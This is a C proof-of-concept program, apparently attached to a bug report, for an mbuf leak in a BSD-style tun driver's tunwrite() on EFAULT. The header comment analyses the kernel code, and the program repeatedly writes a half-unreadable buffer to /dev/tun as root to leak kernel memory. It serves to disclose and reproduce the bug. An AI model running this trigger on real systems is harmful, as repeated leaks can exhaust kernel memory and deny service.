/*
 * DF-3408 -- tunwrite() spare-mbuf leak on EFAULT (DF-3406 tap twin).
 *
 * tunwrite() (sys/net/tun/if_tun.c:843) assembles an mbuf chain:
 *
 *   870:  MGETHDR(m, M_WAITOK, MT_DATA);
 *   875:  while (error == 0 && uio->uio_resid > 0) {
 *   876:      m->m_len = szmin(MHLEN, uio->uio_resid);
 *   877:      error = uiomove(mtod(m, caddr_t), m->m_len, uio);
 *   878:      *mp = m;
 *   879:      mp = &m->m_next;
 *   880:      if (uio->uio_resid > 0)
 *   881:          MGET(m, M_WAITOK, MT_DATA);
 *   882:  }
 *   883:  if (error) {
 *   884:      if (top)
 *   885:          m_freem(top);      <-- frees only the linked chain
 *
 * If uiomove() faults partway (resid still > 0), the conditional MGET on
 * line 880-881 allocates one more mbuf that is never linked (*mp = m at
 * line 878 runs only on the next loop iteration, which never happens
 * because the loop condition sees error != 0).  m_freem(top) cannot reach
 * it.  Exactly one mbuf leaks per faulted write.
 *
 * This PoC writes a 2-page buffer whose second page is PROT_NONE: the
 * first page copies fine, the second faults -> EFAULT with resid > 0.
 *
 * Measure with `netstat -m | head -1` before/after: "mbufs in use"
 * climbs by ~ (number of faulted writes); the control run (both pages
 * readable) leaks nothing.
 *
 * Build:  cc -O2 -o tun_eault_leak tun_eault_leak.c
 * Run:    ./tun_eault_leak <iterations>   (as root)
 */
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	long iters = 30000;
	long ok = 0, faulted = 0;
	long i;
	size_t pagesz = (size_t)sysconf(_SC_PAGESIZE);
	char *buf;
	int fd;

	if (argc > 1)
		iters = atol(argv[1]);

	buf = mmap(NULL, 2 * pagesz, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (buf == MAP_FAILED) {
		perror("mmap");
		return 1;
	}
	memset(buf, 0x41, 2 * pagesz);
	if (argc > 2 && strcmp(argv[2], "control") == 0) {
		/* control: both pages readable -> writes succeed, no leak */
	} else {
		if (mprotect(buf + pagesz, pagesz, PROT_NONE) != 0) {
			perror("mprotect");
			return 1;
		}
	}

	fd = open("/dev/tun", O_RDWR);
	if (fd < 0) {
		perror("open /dev/tun");
		return 1;
	}

	for (i = 0; i < iters; i++) {
		ssize_t n = write(fd, buf, 2 * pagesz);

		if (n < 0)
			faulted++;
		else
			ok++;
	}
	printf("writes: ok=%ld faulted=%ld (of %ld)\n", ok, faulted, iters);
	close(fd);
	return 0;
}
